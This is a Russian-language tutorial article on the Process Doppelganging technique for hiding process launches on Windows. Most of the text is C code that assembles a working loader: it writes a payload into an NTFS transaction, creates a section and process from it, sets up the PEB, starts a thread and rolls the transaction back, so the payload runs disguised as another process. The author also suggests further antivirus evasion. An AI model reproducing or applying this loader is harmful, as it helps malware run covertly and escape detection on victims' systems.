Содержание
На конференции BlackHat Europe 2017 был представлен доклад о новой технике запуска процессов под названием Process Doppelganging. Создатели вирусов быстро взяли технику Process Doppelganging на вооружение, и уже есть несколько вариантов малвари, которая ее эксплуатирует. Я расскажу про принцип работы техники скрытия запуска процессов Process Doppelganging и на какие системные механизмы он опирается. Кроме этого мы создадим маленький загрузчик, который покажет вам запуск одного процесса под видом другого.
Маскировка запуска процесса
Техника маскировки процессов Process Doppelganging чем-то похожа на своего предшественника — Process Hollowing, но отличается механизмами запуска приложения и взаимодействия с загрузчиком операционной системы. Кроме того, в новой технике применяются механизм транзакций NTFS и соответствующие WinAPI, например CreateTransaction, CommitTransaction, CreateFileTransacted и RollbackTransaction, которые, разумеется, не используются в Process Hollowing.
Это одновременно мощная и слабая сторона новой техники сокрытия процессов. С одной стороны, создатели антивирусов и других защищающих программ не были подготовлены к тому, что для запуска вредоносного кода станут применены WinAPI, отвечающие за транзакции NTFS. С другой стороны, после доклада на BlackHat эти WinAPI мгновенно угодят под подозрение, если будут попадаться в исполняемом коде. И неудивительно: это редкие системные вызовы, которые фактически не используются в обычном софте. Естественно, существует несколько методов позволяющих скрыть вызовы WinAPI, но это уже совсем другая история, а сейчас мы имеем хороший концепт, который можно совершенствовать.
Еще по теме: Перехват вызовов функций WinAPI
Process Doppelganging и Process Hollowing
Широко распространенная в узких кругах техника запуска исполняемого кода Process Hollowing заключается в подмене кода приостановленного легитимного процесса вредоносным кодом и последующем его выполнении. Вот общий план действий при Process Hollowing.
- С помощью CreateProcess открыть доверенный легитимный процесс, установив флаг CREATE_SUSPENDED, чтобы процесс приостановился.
- Скрыть отображение секции в адресном пространстве процесса с помощью NtUnmapViewOfSection.
- Перезаписать код нужным при помощи WriteProcessMemory.
- Запуститься при помощи ResumeThread.
По сути, мы вручную изменяем работу загрузчика ОС и совершаем за него часть работы, заодно подменяя код в памяти.
В свою очередь, для реализации техники Process Doppelganging нам необходимо проделать следующие шаги.
- Создаем новую транзакцию NTFS с помощью функции CreateTransaction.
- В контексте транзакции создаем временный файл для нашего кода функцией CreateFileTransacted.
- Создаем в памяти буферы для временного файла (объект «секция», функция NtCreateSection).
- Проверяем PEB.
- Запускаем процесс через NtCreateProcessEx->ResumeThread.
Вообще, методика транзакций NTFS(TxF) появилась в Windows Vista на уровне драйвера NTFS и осталась во всех последующих операционках этого семейства. Эта метод призван помочь совершать всевозможные операции в файловой системе NTFS. Кроме того он периодически используется при работе с базами данных.
Операции TxF считаются атомарными — пока происходит работа с транзакцией (и связанными с ней файлами) до ее закрытия или отката, она не видна никому. И если будет откат, то операция ничего не изменит на жестком диске. Транзакцию можно создать с помощью функции CreateTransaction с нулевыми параметрами, а последний параметр — название транзакции. Вот пример как выглядит прототип.
1 2 3 4 5 6 7 8 9 |
HANDLE CreateTransaction( IN LPSECURITY_ATTRIBUTES lpTransactionAttributes OPTIONAL, IN LPGUID UOW OPTIONAL, IN DWORD CreateOptions OPTIONAL, IN DWORD IsolationLevel OPTIONAL, IN DWORD IsolationFlags OPTIONAL, IN DWORD Timeout OPTIONAL, LPWSTR Description ); |
Начало работы
Начинаем писать приложение с самого начала. Условимся, что наше приложение (пейлоад), которое необходимо будет запустить от имени другого приложения (цели), будет передаваться в качестве второго аргумента, а цель — в качестве первого.
Используем недокументированные NTAPI
В коде мы будем использовать недокументированные функции NTAPI Windows. Они получаются динамически по своему прототипу. Вот один из возможных методов получения недокументированных функций и работы с ними.
Объявляем прототип функции NtQueryInformationProcess:
1 2 3 4 5 |
typedef NTSTATUS(WINAPI *NtQueryInformationProcess)(HANDLE, UINT, PVOID, ULONG, PULONG); |
На лету получаем адрес нужной функции в библиотеке ntdll.dll по ее имени при помощи GetProcAddress и присваиваем его переменной нашего прототипа:
1 2 3 4 |
pNtQueryInformationProcess NtQueryInfoProcess = (pNtQueryInformationProcess) GetProcAddress( LoadLibrary(L"ntdll.dll"), "NtQueryInformationProcess" ); |
Здесь используем функцию NtQueryInformationProcess обычным образом, только через нашу переменную:
1 2 |
NTSTATUS Status = pNtQueryInfoProcess(...); if (Status == 0x00000000) return 0; |
Так получаются и используются все необходимые недокументированные функции, которые обычно выносят в header проекта.
1 2 3 4 5 6 7 8 9 10 11 12 |
int main(int argc, char *argv[]) { WCHAR descr[MAX_PATH] = { 0 }; HANDLE hTrans = CreateTransaction(NULL, 0, 0, 0, 0, 0, descr); if (hTrans == INVALID_HANDLE_VALUE) return -1; |
Далее создаем фиктивный временный файл в контексте транзакции.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
HANDLE hTrans_file = CreateFileTransacted(dummy_file, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, hTrans, NULL, NULL); if (hTrans_file == INVALID_HANDLE_VALUE) return -1; |
В переменной dummy_file — путь к тому файлу, под который мы маскируемся. Я буду стараться всегда приводить прототипы недокументированных функций: вот прототип CreateFileTransacted.
1 2 3 4 5 6 7 8 9 10 11 12 |
HANDLE CreateFileTransactedA( LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile, HANDLE hTransaction, PUSHORT pusMiniVersion, PVOID lpExtendedParameter ); |
Далее необходимо выделить память для нашего пейлоада. Это можно сделать при помощи маппинга, а можно и обычным вызовом malloc.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
HANDLE input_payload = CreateFile(argv[2], GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (input_payload == INVALID_HANDLE_VALUE) return -1; BOOL status = GetFileSizeEx(input_payload, &pf_size); if (!status) return -1; DWORD dwf_size = pf_size.LowPart; BYTE *buf = (BYTE *)malloc(dwf_size); if (!buf) return -1; |
Думаю, что этот код не вызовет у вас никаких трудностей: здесь используются стандартные функции WinAPI и функции языка С.
Еще по теме: Защита приложения от отладки
Итак, буфер в памяти готов, теперь заполним его.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
DWORD read_bytes = 0; DWORD overwrote = 0; if (ReadFile(input_payload, buf, dwf_size, &read_bytes, NULL) == FALSE) return -1; if (WriteFile(hTransactedFile, buf, dwf_size, &overwrote, NULL) == FALSE) return -1; status = NtCreateSection(&hSection_obj, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hTrans_file); if (!NT_SUCCESS(status)) return -1; |
С этого момента в памяти все готово: буфер выделен и заполнен нашим пейлоадом. Теперь дело за малым — создать процесс, настроить PEB, вычислить точку входа и запуститься в новом треде.
Создавать процесс функцией CreateProcess мы не можем: ей нужен путь до файла, а если учесть, что файл, который мы создали внутри транзакции, — фейковый, к тому же транзакция даже не завершена (и никогда не будет завершена, будет роллбэк), то такой путь мы предоставить не в состоянии.
Но выход есть — использовать функцию NTAPI NtCreateProcessEx. Ей не нужен путь к файлу, вот ее прототип:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
NTSTATUS NTAPI NtCreateProcessEx( _Out_ PHANDLE ProcessHandle, _In_ ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_ HANDLE ParentProcess, _In_ ULONG Flags, _In_opt_ HANDLE SectionHandle, _In_opt_ HANDLE DebugPort, _In_opt_ HANDLE ExceptionPort, _In_ ULONG JobMemberLevel ); |
Передаваемый в эту функцию параметр SectionHandle не что иное, как секция, которую мы создали функцией NtCreateSection.
1 2 3 4 5 6 7 8 9 10 11 12 |
status = NtCreateProcessEx(&h_proc, GENERIC_ALL, NULL, GetCurrentProcess(), PS_INHERIT_HANDLES, hSection_obj, NULL, NULL, FALSE); if (!NT_SUCCESS(status)) return -1; |
Тут магия заканчивается и начинается рутина. Если вы когда-нибудь писали процедуру запуска процессов из памяти при помощи NtCreateProcessEx, то будет легко. Сначала заполним RTL_USER_PROCESS_PARAMETERS и запишем эти данные в наш процесс.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
UNICODE_STRING victim_path; PRTL_USER_PROCESS_PARAMETERS proc_parameters = 0; status = RtlCreateProcessParametersEx(&proc_parameters, &victim_path, NULL, NULL, &victim_path, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED); if (!NT_SUCCESS(status)) return -1; LPVOID r_proc_parameters; r_proc_parameters = VirtualAllocEx(h_proc, proc_parameters, (ULONGLONG)proc_parameters & 0xffff + proc_parameters->EnvironmentSize + proc_parameters->MaximumLength, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!r_proc_parameters) return -1; status = WriteProcessMemory(h_proc, proc_parameters, proc_parameters, proc_parameters->EnvironmentSize + proc_parameters->MaximumLength, NULL); if (!NT_SUCCESS(status)) return -1; |
Далее так же, при помощи WriteProcessMemory, настраиваем PEB.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
PROCESS_BASIC_INFORMATION pb_info; status = NtQueryInformationProcess( h_proc, ProcessBasicInformation, &pb_info, sizeof(pb_info), 0); if (!NT_SUCCESS(status)) return -1; PEB *peb = pb_info.PebBaseAddress; status = WriteProcessMemory(h_proc, &peb->ProcessParameters, &proc_parameters, sizeof(LPVOID), NULL); if (!NT_SUCCESS(status)) return -1; |
И последний, завершающий штрих — запуск треда процесса. Для этого нужно узнать базовый адрес загрузки модуля и начало кода в выделенном нами буфере. Код стандартный, упрощенный.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)buf; PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(buf + dos_header->e_lfanew); ULONGLONG ep_proc = nt_header->OptionalHeader.AddressOfEntryPoint; GetSystemInfo(&sys_info); LPVOID base_addr = 0; while (p_memory < sys_info.lpMaximumApplicationAddress) { VirtualQueryEx(h_proc, p_memory, &mem_basic_info, sizeof(MEMORY_BASIC_INFORMATION)); GetMappedFileName(h_proc, mem_basic_info.BaseAddress, mod_name, MAX_PATH); if (strstr(mod_name, argv[1])) base_addr = mem_basic_info.BaseAddress; p_memory = (LPVOID)((ULONGLONG)mem_basic_info.BaseAddress + (ULONGLONG)mem_basic_info.RegionSize); } ep_proc += (ULONGLONG)base_addr; |
И запускаем сам поток:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
HANDLE hThread; status = NtCreateThreadEx(&hThread, GENERIC_ALL, NULL, h_proc, (LPTHREAD_START_ROUTINE)ep_proc, NULL, FALSE, 0, 0, 0, NULL); if (!NT_SUCCESS(status)) return -1; |
Вот и все. С этого момента наш код начинает работать под прикрытием другого процесса. Не забываем сделать роллбэк транзакции:
1 |
if (!RollbackTransaction(hTrans)) return -1; |
Заключение
Как видите, ничего сложного в этой новой атаке нет. Из бонусов — атака получается бесфайловой, весь код существует только в памяти, потому что мы не завершаем транзакцию NTFS, а откатываем все изменения.
Подобный метод внедрения несложно обнаружить — нужно просто сравнить код в памяти и на жестком диске. Кроме того, некоторые NTAPI, использванные в статье, имеют высокий рейтинг у эвристиков антивирусов (например, та же NtCreateThreadEx). Подозрения у антивирусов может вызвать и сам факт использования редких функций WinAPI, которые отвечают за транзакции NTFS, особенно в свете того, что в Microsoft не рекомендуют их использовать. Конечно, это не означает, что эвристика обязательно сработает, но точно заставит присмотреться к вашему файлу с сильной предвзятостью.
Замечу, что приведенный мной код — это концепт, который еще улучшать и улучшать. Например, можно использовать маппинг для выделения буферов, можно зашифровать динамическое получение функций и так далее.
Еще по теме: Внедрение кода в чужое приложение с помощью Frida